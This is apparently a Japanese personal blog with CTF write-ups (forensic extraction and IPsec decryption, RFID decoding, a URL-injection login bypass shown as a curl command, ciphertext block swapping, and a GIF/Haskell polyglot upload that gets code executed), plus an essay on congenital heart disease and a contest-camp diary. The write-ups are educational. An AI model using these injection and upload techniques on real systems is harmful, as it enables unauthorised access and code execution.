Trend Micro CTF 2017 - Raimund Genes Cup - Online Qualifier [Analysis-Offensive 100]

exploit

forっぽい問題だったのでいきなりexploitから。

とりあえずbinwalkをしてみます。

$ ~/c/t/Analysis_offensive100> binwalk Forensic_Encyption

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
13390         0x344E          Zip archive data, at least v2.0 to extract, compressed size: 16181, uncompressed size: 20874, name: file_1
29607         0x73A7          Zip archive data, at least v2.0 to extract, compressed size: 378, uncompressed size: 418, name: file_2
30177         0x75E1          End of Zip archive

zipファイルがふたつ含まれているようです。

さっそく解凍してみるとjpegファイルであるfile_1とzipファイルであるfile_2が出てきました。

$ ~/c/t/Analysis_offensive100> unar Forensic_Encyption 
Forensic_Encyption: Self-extracting Zip
"Forensic_Encyption" already exists.
(r)ename to "Forensic_Encyption-1", (R)ename all, (o)verwrite, (O)verwrite all, (s)kip, (S)kip all, (q)uit? q
$ ~/c/t/Analysis_offensive100> ls
Forensic_Encyption  files1.enc  files1.zip
$ ~/c/t/Analysis_offensive100> unar Forensic_Encyption 
Forensic_Encyption: Self-extracting Zip
"Forensic_Encyption" already exists.
(r)ename to "Forensic_Encyption-1", (R)ename all, (o)verwrite, (O)verwrite all, (s)kip, (S)kip all, (q)uit? R
  file_1  (20874 B)... OK.
  file_2  (418 B)... OK.
Successfully extracted to "Forensic_Encyption-1".
$ ~/c/t/Analysis_offensive100> file Forensic_Encyption-1/*
Forensic_Encyption-1/file_1: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=6, description=MM, xresolution=86, yresolution=94, resolutionunit=2, software=MM], baseline, precision 8, 641x417, frames 3
Forensic_Encyption-1/file_2: Zip archive data, at least v2.0 to extract

file_2はパスワードがかかってるようなので後回しにして、file_1をexiftoolにかけてみます。

$ ~/c/t/Analysis_offensive100> exiftool file_1
ExifTool Version Number         : 10.10
File Name                       : file_1
Directory                       : .
File Size                       : 20 kB
File Modification Date/Time     : 2017:05:01 12:40:54+09:00
File Access Date/Time           : 2017:06:24 16:44:45+09:00
File Inode Change Date/Time     : 2017:06:24 16:44:28+09:00
File Permissions                : rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Big-endian (Motorola, MM)
Image Description               : 
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Software                        : 
Exif Version                    : 0210
Components Configuration        : Y, Cb, Cr, -
User Comment                    : VHVyaW5nX01hY2hpbmVfYXV0b21hdG9u
Exif Image Width                : 753
Exif Image Height               : 417
Compression                     : JPEG (old-style)
Thumbnail Offset                : 332
Thumbnail Length                : 2273
JFIF Version                    : 1.01
Image Width                     : 641
Image Height                    : 417
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 641x417
Megapixels                      : 0.267
Thumbnail Image                 : (Binary data 2273 bytes, use -b option to extract)

怪しいユーザーコメントがあります。これをbase64でデコードすると

$ ~/c/t/Analysis_offensive100> echo 'VHVyaW5nX01hY2hpbmVfYXV0b21hdG9u' | base64 -d
Turing_Machine_automaton⏎       

と出てきます。この文字列を使ってfile_2をunzipしようとしましたが出来ませんでした。

$ ~/c/t/Analysis_offensive100> unzip Forensic_Encyption-1/file_2
Archive:  Forensic_Encyption-1/file_2
   skipping: key.txt                 unsupported compression method 99

調べてみると7zコマンドで解凍できるようでした。今度は解凍できました。

解凍すると今度はkey.txtが出てきました。

$ ~/c/t/Analysis_offensive100> cat key.txt
src 192.168.30.211 dst 192.168.30.251
        proto esp spi 0xc300fae7 reqid 1 mode transport
        replay-window 32
        auth hmac(sha1) 0x2f279b853294aad4547d5773e5108de7717f5284
        enc cbc(aes) 0x9d1d2cfa9fa8be81f3e735090c7bd272
        sel src 192.168.30.211/32 dst 192.168.30.251/32
src 192.168.30.251 dst 192.168.30.211
        proto esp spi 0xce66f4fa reqid 1 mode transport
        replay-window 32
        auth hmac(sha1) 0x3bf9c1a31f707731a762ea45a85e21a2192797a3
        enc cbc(aes) 0x886f7e33d21c79ea5bac61e3e17c0422
        sel src 192.168.30.251/32 dst 192.168.30.211/32

これを使うとパケットの暗号を復号できるようですが、肝心のパケットが含まれたpcapファイルが見つかりません。

そこで始めに与えられたファイルにstringsをかけるとfile_3がfile_1,file_2とは別に含まれているようです。

試しにzipinfoをすると確かにfile_3がありました。

$ ~/c/t/Analysis_offensive100> zipinfo -v Forensic_Encyption 
Archive:  Forensic_Encyption
There is no zipfile comment.

End-of-central-directory record:
-------------------------------

  Zip archive file size:                     30199 (00000000000075F7h)
  Actual end-cent-dir record offset:         30177 (00000000000075E1h)
  Expected end-cent-dir record offset:       30177 (00000000000075E1h)
  (based on the length of the central directory and its expected offset)

  This zipfile constitutes the sole disk of a single-part archive; its
  central directory contains 3 entries.
  The central directory is 156 (000000000000009Ch) bytes long,
  and its (expected) offset in bytes from the beginning of the zipfile
  is 30021 (0000000000007545h).


Central directory entry #1:
---------------------------

  file_3

  offset of local header from start of archive:   0
                                                  (0000000000000000h) bytes
  file system or operating system of origin:      MS-DOS, OS/2 or NT FAT
  version of encoding software:                   2.0
  minimum file system compatibility required:     MS-DOS, OS/2 or NT FAT
  minimum software version required to extract:   2.0
  compression method:                             deflated
  compression sub-type (deflation):               normal
  file security status:                           not encrypted
  extended local header:                          no
  file last modified on (DOS date/time):          2017 May 15 16:39:40
  32-bit CRC value (hex):                         c21779bc
  compressed size:                                13354 bytes
  uncompressed size:                              31112 bytes
  length of filename:                             6 characters
  length of extra field:                          0 bytes
  length of file comment:                         0 characters
  disk number on which file begins:               disk 1
  apparent file type:                             binary
  non-MSDOS external file attributes:             000000 hex
  MS-DOS file attributes (00 hex):                none
...

ファイルの先頭がおかしいようなので先頭の二文字をPKに変えると今度は解凍するとfile_3が出てくるようになりました。

file_3は予想通りpcapファイルだったのでこれをwiresharkに突っ込み、以下のブログの通りにESPの復号をします。

saitoh.hatenablog.jp

すると以下のhtmlファイルが手に入るのであとは Enigma M4 - Simulator by dp を使いフラグを手に入れます。

<HTML>

<BODY>

M4 Navy

Reflector:C Thin, beta, I, IV, II (T M J F), Plugboard: L-X/A-C/B-Y



TMCTF{APZTQQHYCKDLQZRG}



APZTQQHYCKDLQZRG is encrypted.



</BODY>

</HTML>

フラグ TMCTF{RISINGSUNANDMOON}

rising sun and moon

Trend Micro CTF 2017 - Raimund Genes Cup - Online Qualifier [Reversing 200]

観察

revですがバイナリではなく何かのログのようなtxtファイルが渡されます。

Using Clock:64, Invert:0, Bits Found:625
ASK/Manchester - Clock: 64 - Decoded bitstream:
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101
1110111110111000
1010011110111010
1100111111111111
1011101111011101

なにやら周期性がありそうです。しかし、それだけだと何もわからないので"Using Clock:64,“を引用符付きで検索してみました。 すると次のページがひっかかりました。

Help identifying Erone Mini Series passive tag / 125 kHz Low Frequency / Proxmark developers community

どうやらRFIDに関する何かのようです。

次にRFIDとManchesterについて検索をしたところ次のページが出ました。

Decoding an EM4100 Manchester Encoded RFID Tag |

RFIDは連続した9つの1がデータのヘッダーを示すようですが、上のtxtにも連続した9つ以上の1がありました。

今回の問題はRFIDデータのタグに関する問題のようです。

Exploit

Exploitといってもただ先程のページに示したとおりにbit列を解釈するだけです。幸い同じbitが繰り返されてるようなので、paritycheckはいりませんでした。

$> python converter.py | python show_info.py
0xfeeddecafe6
#converter.py
header_count = 0
end_header = False
parity_bit = False
row_count = 0
data_count = 0
data_str = ''
for bit in '11101111101110001010011110111010110011111111111110111011110111011110111110111000101001111011101011001111111111111011101111011101111011111011100010100111101110101100111111111111101110111101110111101111101110001010011110111010110011111111111110111011110111011110111110111000101001111011101011001111111111111011101111011101111011111011100010100111101110101100111111111111101110111101110111101111101110001010011110111010110011111111111110111011110111011110111110111000101001111011101011001111111111111011101111011101':
    if not end_header:
        if bit == '1':
            header_count += 1
        else:
            header_count = 0
        if header_count == 9:
            end_header = True
    else:
        data_count += 1
        data_str += bit
        if data_count % 5 == 0:
            print(data_str)
            data_str = ''
            row_count += 1
        if row_count == 11:
            break
#show_info.py
import sys

bit_stream = ''
for line in iter(sys.stdin.readline, ""):
    line = line.strip()
    bit_stream += line[:-1]
print(hex(int(bit_stream,2)))

フラグは大文字を指定されているので TMCTF{FEEDDECAFE} を提出して終わりです。(最後の6はparitycheckの一部です)

SecurityFest CTF 2017 [Web 200] Freddy vs json

SecurityFest CTF 2017 に チームHarekaze で参加しました。 チームの総得点は1660点で自分はそのうちの250点解きました。

Freddy vs json

ページを開くとよくあるログインフォームにメールアドレスとパスワードの入力欄があります。

適当に埋めて送信すると

Invalid username or password!

と怒られます。

Exploit

http://52.208.132.198:2999/index.jsを見るとページのソースコードを見ることが出来ます。

ちなみにこれはエスパーして発見しました。(一応ヒント(?)として/static/index.jsがheadでインポートされていることはわかるが……)

ソースコードを見ると

 if(req.body.user && req.body.pass){
        user = req.body.user;
        pass = crypto.createHash('md5').update(req.body.pass).digest("hex");
        //Query internal login service
        request("http://127.0.0.1:3001/createTicket/"+user+"/"+pass, function(error, response, body){
            console.log(body);

という部分があり、これによりログイン判定をしていることがわかります。

またソースコードのはじめに

require('./local');

local.jsを読み込んでいる記述があるのでそれも見てみます。

以下の記述より、ポート3001で待ち受けているローカルサーバーの処理が書かれていることがわかります。

localapp.listen(3001, '127.0.0.1', function () {
  console.log('JWT service up!')
});

さらに

db = [
    {"user":"admin","pass":"9c72256fdb7196d2563a38b84f431491","id":"1"}
];
…

…
function verify(user, pass){
    db_user = db[0]; //TODO: sync with LDAP instead
    if(user && user == db_user["user"]){
        if(pass && pass == db_user["pass"]){
            return db_user["id"];
        }
    }
    return 0;
}

localapp.get('/createTicket/:user/:pass', function (req, res) {
    user = req.params.user;
    pass = req.params.pass;
    userid = verify(user, pass);
    if(userid){
        res.send('{"authenticated":true, "user":"'+user+'", "id":'+userid+'}');
    }else{
        res.send('{"authenticated":false, "user":"'+user+'", "id":'+userid+'}');
    }
})

とあることから、curl -v -d 'user=admin%2f9c72256fdb7196d2563a38b84f431491%3fa%3d&pass=a' 52.208.132.198:299

と送ることでサーバー上ではhttp://127.0.0.1:3001/createTicket/admin/2f9c72256fdb7196d2563a38b84f431491?a=a/というリクエストが送信され

ログインに成功しflagが手に入ります。

(ログイン時に判定されるpassはmd5ハッシュ化されたものであることに気づけばいい。)

{"authenticated":true,"user":"admin","id":1,"response":"Congratulations: SCTF{1nj3ction_5chm1nj3ctioN}"}

flag SCTF{1nj3ction_5chm1nj3ctioN}

いつだってヒーロー

こんにちは、megumishと申します。現在精神的に病んでいて大学休学中の身の一浪二留の学部生です。

もしかしたら自分と同じような悩みを持ったACHD―成人先天性心疾患―患者がいるのではないかと思いこのブログを立ち上げました。

このブログを書くことで少しでもACHD患者精神面でのケアができたら幸いです。

とはいっても素人の所感ですので気休め程度に読んでいただければいいなと思います。

※精神面の話ですがいわゆるADHD―注意欠陥・多動性障害―とは一文字違いであるものの、関係はありません。

まえがき

ACHDについて

ACHDは Adult Congenital Heart Disease の略で

日本語に訳すと成人先天性心疾患となります。

成人なのに先天性という言葉はおかしな名称だと思うかもしれませんが

ACHDは先天性心疾患を抱えたまま大人になった人たちの病状のことを指します。

そもそも先天性心疾患についてご存知でない人もいるかもしれません。

簡単に説明しておくと、生まれたときから心臓の奇形によって異常を来たしている病状のことを総称して先天性心疾患と呼びます。

(専門家ではないので間違っていたことを言っていたらすみません)

くわしくは下記のサイトが参考になるかと思います。。

https://www.kango-roo.com/sn/k/view/2312www.kango-roo.com

僕の抱えている病気

僕が生まれつき持っていた病気は先天性心疾患のうち三尖弁閉鎖症というものです。

先ほど紹介したリンクの中では三尖弁閉鎖不全症という名称で説明されているものです。

また高校生の頃に(医者曰く)より長く生きるための手術をしたのちに徐脈と呼ばれる

(そのまま生きていくのが困難な程度に)心臓の脈の動きが小さくなってしまう病状も抱えているため、現在ペースメーカーを埋め込み中です。

なぜ僕が精神を病んでしまったか

社会になじむACHD患者

ACHDは一目では普通の人と違いが分からない内部障害です。

そのため、ある意味では普通の人と何ら変わりなく社会と交わっていくことも可能です。

実際、僕は高校生から大学生ぐらいの時期(現在は大学生、精神的な理由により休学中)は心臓の病気を抱えていると

周りに言わなければそれが分からない程度にはなじんでいたと思います。

つまり、僕自身は病気とは分からない程度に活動可能で、周りと比べれば確かに体力や運動能力がない程度の人間だと思ってもらえればいいと思います。

自立と先立つ不安

周りと同じように振る舞えば、一見病気とは関係なく生きていける。しかし、それでも病気は抱えたままですから不安はあるものです。

「病状が悪化したらどうしようか?」「突然、動くのも困難な状況になったらどうなるのだろうか?」

今まで、そして現在も自分は周りに世話をしてくれる家族がいます。

だけど、未来を見るとそうではないです。このように恵まれた環境がいつまでも続くとは到底思えないのです。

現在でも親が年を取って少しずつ身体面でも経済面でも弱っていっていることを感じています。

自分が特に不安なのはペースメーカーを埋めているため、人生のうちに何回か手術が必要なのが確定していることです。

これまでは家族の献身的なサポートにより、入院生活中もとくに困難を感じることなく生活していくことが可能でした。

しかし、これから先を考えていくと決してそうではないです。親自身がサポートを必要とするような状態にもなるでしょうし、自分のことにまで手を回す余裕もなくなっていくのでしょう。

そうした不安は割と小さい頃(といっても中学生ぐらいからだろうか)からありました。

母親から何度もいつかは自分の力で生きていけるようにならないといけないということを聞きましたし

実際自分もそうならなければいけないのだろうと思っていました。現在でもその気持ちは変わりません。

おおよそ、上で述べたようなことはACHD患者の方以外でも考えうることだと思います。

すごい(特別な)人間になりたかったこと

昔から、思っていました。

「どうして僕だけがこんな目に合わないといけないんだろう?」

「周りと比べれば劣っているのにどうしてこんなにも構ってもらえるのだろう?」

これら二つが合体して、もしかしたら自分は特別な人間なんじゃないかと言うおごりが生まれていきました。

でもその時点では特に優れたところもなかった子供でしたから、未来にかけていました。大人になったらきっとすごい人間になれるのだろう…と。

しかし年をとるに連れてそういったものは全く根拠のない幻想だと分かっていきました。

「自分はとくに理由もなく心臓の病気を抱えて生まれてきて

家族と学校側の対応に恵まれて、たまたまチヤホヤされていただけなのだ」と。

そうして、大人になったらきっとすごい人間になれる。いやならなければならないという執着だけが残りました。

前に述べたようなおごりの中生きてきたわけですから、これまでとくに頑張った経験もありませんでしたし

努力するのがとても苦手でした。そうして自分はすごい人ととは到底思えないような生き様のままついに成人してしまいました。

自立するということとすごい人間になるということ

自立するということとすごい人間になるということは別のことです。直交することであり、それらに因果などはないはずです。

しかし自分の頭の中では

「自立するためにはすごい人間にならなければならない。」

という確かな思いがありました。

しかし、先ほども書いた通り自分の思い描いたようなすごい人間になることはできませんでした。

現状と理想との差、それと同時に導き出される自立できないんじゃないかという不安、これらが僕が精神的に参ってしまったことの理由です。

いつだってヒーロー

僕と同じような人生を送ってきたACHD患者の方なら分かると思いますが、死ぬ―人生を悲劇の一幕で終わらせる―チャンスはたくさんあったと思います。

悩んでる人がここを見て実践しては元も子もないので詳しくは書きませんが。

でもこのブログを見ているということは辛いことがあろうとそういうことを実行に移さずに生きてきた人たちなのだろうと思います。

この記事で最後に伝えたかったことはこれからもそうやって生きようよということです。

僕の大好きなバンドにamazarashiというロックバンドがあるのですが、そのバンドの「ヒーロー」という歌の中にこんな一言が出てきます。

「誰だってヒーロー」

そのあとにこう続きます。

「そんなわけはねぇよ」

衝撃的ですね。僕も(世界を救う)すごい人間にあこがれていたわけですから、それがあっさりと歌詞の中で否定されるわけです。

でもよくよく考えてください。今まであなたは誰か一人だけは必ず救っているはずです。現在進行形で。

それが誰かはあなた自身が分かっているはずです。なぜならあなたは今、生きているのだから。

最後に「ヒーロー」の歌詞の一番最後をここに載せておきます。

「いつだってヒーロー」

www.youtube.com

33C3CTF WriteUp pay2win [200] web

cheapとflagが買えるようです。
まずはcheapから買ってみることにしましょう。
f:id:megumish:20170103235550p:plain
クレジットカードナンバーはcredit card number sample などで検索して出てきたものを入力してもいいですが、
実はLuhnアルゴリズムが通る数字ならなんでもいいっぽいので0でも入力しておきます。
f:id:megumish:20170103235637p:plain
0を入力すると無事にcheapを購入することができ、cheap.txtの中身を見ることができます。
f:id:megumish:20170103235659p:plain
次にflagを購入してみましょう。
flagもcheapを買ったときと同じように、0を入力し購入できるか試します。
おっと、クレジットカードの使用限度を超えていて買えないようです。
f:id:megumish:20170103235718p:plain

おおよそflagを手に入れる方法は次の二つです。
正しいクレジットカードナンバーを入力するか、cheapの購入後画面でをcheap.txtをflag.txtを何らかの方法で書きかえることで手に入れるかです。
答えを先に行ってしまうと正しかった方は、cheap.txtをflag.txtに書きかえる方です。

以下flagを発見した手順です。
まず、cheapを購入する場面でのURLのdataの値と、flagを購入する場面でのURLのdataの値を比較します。

cheap:5e4ec20070a567e03c598eac510b4a85475daa246cb031e03b5b0554edda4f8828df361f896eb3c3706cda0474915040
flag :5e4ec20070a567e03c598eac510b4a85d1d71c0ceb6e8d6d4f75c9736d3b8e0641e7995bb92506da1ac7f8da5a628e19ae39825a916d8a2f

ここでまず、二つのdataの長さが違うことに気付きます。自分はflagのdataの末尾にあるae39825a916d8a2fという文字列をcheapのdataの後ろに引っ付けて試してみることにしました。
すると次のような画面が現れました。
f:id:megumish:20170103235750p:plain
なんとcheapがcheapgになっています。これによりae39825a916d8a2fがflagの末尾であるg部分に対応すると推測できます。*1
しかし、flagやcheapの文字ひとつひとつがハッシュ化されて末尾に固められているという確証はまだできません。
もしかしたらハッシュ値全体にちりばめられている可能性もあるからです。
次に、cheapを購入する前と購入後のdataの値について比べてみます。

cheap購入前:5e4ec20070a567e03c598eac510b4a85475daa246cb031e03b5b0554edda4f8828df361f896eb3c3706cda0474915040
cheap購入後:5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c88d527869fa7bdbef28df361f896eb3c3706cda0474915040

後ろの32文字に注目すると、28df361f896eb3c3706cda0474915040という同じ文字列で構成されていることがわかります。
二つのページで共通する文字列はcheapだけであるため後ろ32文字がcheapを表しているということがおおよそ確定できます。

つまりcheap購入後の後ろ32文字と同じ位置にあるflagの後ろ48文字を交換すれば見事flagがとれるのではないでしょうか、早速試してみます。
はい、とれました。おわり。
f:id:megumish:20170103235815p:plain
フラッグ

33C3_3c81d6357a9099a7c091d6c7d71343075e7f8a46d55c593f0ade8f51ac8ae1a8

*1:まだサーバーが動いてるなら試すことができるが、ae39825a916d8a2fをさらに付け加えると、どんどんgを増やすことができる。

33C3CTF WriteUp try [150] web

ページを開くとHaskellのコードが書かれたテキストボックスとRunボタンが出てきます。
とりあえずRunボタンを押してみることにします。
f:id:megumish:20170103211050p:plain
Log in firstと言われたので適当な名前でログインしてみることにします。
ログインした後に再度試してみると今度はコードを実行することができました。
ソースコードを見ると

<form action="/run" method="post" accept-charset="utf-8">

    <input id="run_file" name="run_file" value="fib.hs" type="hidden"/>
    <input type="submit" value="Run!"/>
</form>

となっておりfib.hsの部分を変えれば任意のプログラムを実行できそうです。
ただし、fib.hsは/static/fib.hsにあるようなので何らかの方法で/static下にファイルを置く必要がありそうです。
ログイン後はさらに上部のメニューにUplodeとProfileが増えています。
UplodeからHaskellのコードがアップロードできるのであればとてつもなく簡単ですが、残念ながら使えないようです。

次にProfileを確認してみると、プロフィール画像としてGIF画像がアップロードできるようです。
試しにGIF画像をアップロードすると、/static/33c3_(UUID)/pic.gifにGIF画像が配置されるようです。
ここで/static下のファイルはURLを書きかえることで実行できることを思い出します。
試しに先ほどのソースのvalueの値をfib.hsから/33c3_(UUID)/pic.gifに変えてみると
GIF画像がコードとして認識されて実行されることがわかります。もちろん、実際はコードではなくGIF画像のバイナリであるためエラーが出ます。
ここまでのことから、偽装したHaskellのコードをGIF画像としてアップロードし、それを実行させることでフラッグを得ることができるのだろうと推測しました。

そこで問題になるのは、どういう形式のファイルをサーバー側がGIF画像として認識するかということです。
GIF画像の構造*1を調べると、GIF画像バイナリの特定のアドレスには固定値があることが分かるのでそこをしらみつぶしに消してはアップロードを繰り返し試してみました。
その結果、バイナリの最初の"GIF89a"と番地0x15の0x2Cの二つの固定値*2以外を変えてアップロードしてもGIF画像として判定されることがわかりました。

次に問題となるのは、この偽装GIFバイナリにHaskellのコードを埋めることです。
最初に考えたのはGIF89aという文字を関数として認識させることで、Haskellのコードの一部として使うというものでしたが、Haskellでは関数や変数の最初を大文字でおくことはできないのですぐに断念することになりました。
少しHaskellについて調べてみるとどうやら型や型クラスは最初の文字を大文字でおくことができるようでした。
しかし自分はHaskellのことをよく知らないので、slackに投げて聞いてみるとGIF89aを型(もしくは型クラス?)として後置宣言したコード*3をくれたのでそれをバイナリに埋め込みアップロードしたところ見事フラッグを手に入れることができました。

GIF89a i = GIF89a "aaaaaa"
newtype GIF89a = GIF89a String
main = putStrLn "Hello, World!"

slackでもらったHaskellのコード
f:id:megumish:20170103210811p:plain
GIF画像にHaskellのコードを埋め込んだバイナリ

以下フラッグ

33C3_n3xt_T1me_idri5_m4ybe

*1:GIFフォーマットの詳細

*2:これ以外に最後の番地に0x3Bを配置することも条件の一つかと考えていたが、間違えて最後の0x3Bを消してアップロードした際に必要な条件ではないことが分かった。

*3:ちなみにリテレートコメント形式はアップロードした後の拡張子が強制的にgifになってしまうため使うことはできませんでした。

JAG夏合宿2016参加記

JAG夏合宿に参加してきました。

 

0日目

0日目はコンテストが無かったのでのんびり過ごしました。

自己紹介は緊張しすぎて、他の人の顔とか覚えてませんでした。

そのあと懇親会まで時間があったので、@AlbicillaTさんと@dohatsutsuさんと部屋が同じだった人と人狼をやろうとしたのですが、人が足りなくて出来なかったので怒髪さんのトランプで大富豪やゴキブリポーカーをやりました。

懇親会では寿司とパスタなどを食べました。パスタをもっと食べたかったのですが、気づいたらなくなっていたのであきらめました。

@mayoko_さんや@yurahunaさん、@tubo28さん、@osrehunさんなどプロ各位と話せたのでよかったです。ちなみに今名前を挙げた人たちの大半は合宿終了後に築地市場に行き刺身と化します。

 

1日目

1日目から@AlbicillaTさんと@startcppさんとチームを組んでコンテストに臨みました。僕がやるだけ問題を一問解いて、他の二人が考察して協力して二問、問題を解いていました。

(もちろん自分も問題の概要を伝えるなどはしました。)

 

2日目

2日目も自分がやるだけ問題を一問解いて、あとの二人が考察など協力して二問、問題を解いていました。とくにD問題は@AlbicillaTさんの考察がさえていてグッジョブでした。

C問題が単純に実装が面倒くさそうなだけに見えたので、マラソンマッチで鍛えた実装力で何とかしようと思ったのですが、REとTLEとWAの3コンボであえなく撃沈しました。

 

3日目

3日目はC問題がやるだけ問題に見えたのでやろうとしたのですが、うまくいかなかったので@startcppさんに投げてしまいました。すみません。

そのあとは他の問題の概要を@startcppさんに伝えて解いてもらいました。というか前二日もほとんど@startcppさんが解いてくれました。申し訳ない。

あと@startcppさんが解いてくれている間、H問題のコードをずっと書いていたのですが、最後完成したと思ったら、せぐふぉに見舞われて見事に死にました。

 

以上です。

運営さん、チーム組んでくれた方、話してくれた方、ルームが一緒だった方、オリセンから六本木に向かう途中に僕が突然クソなぞなぞに答えたのに快く受け入れてくれた方などありがとうございました。

 

おまけ

刺身と化したプロたち。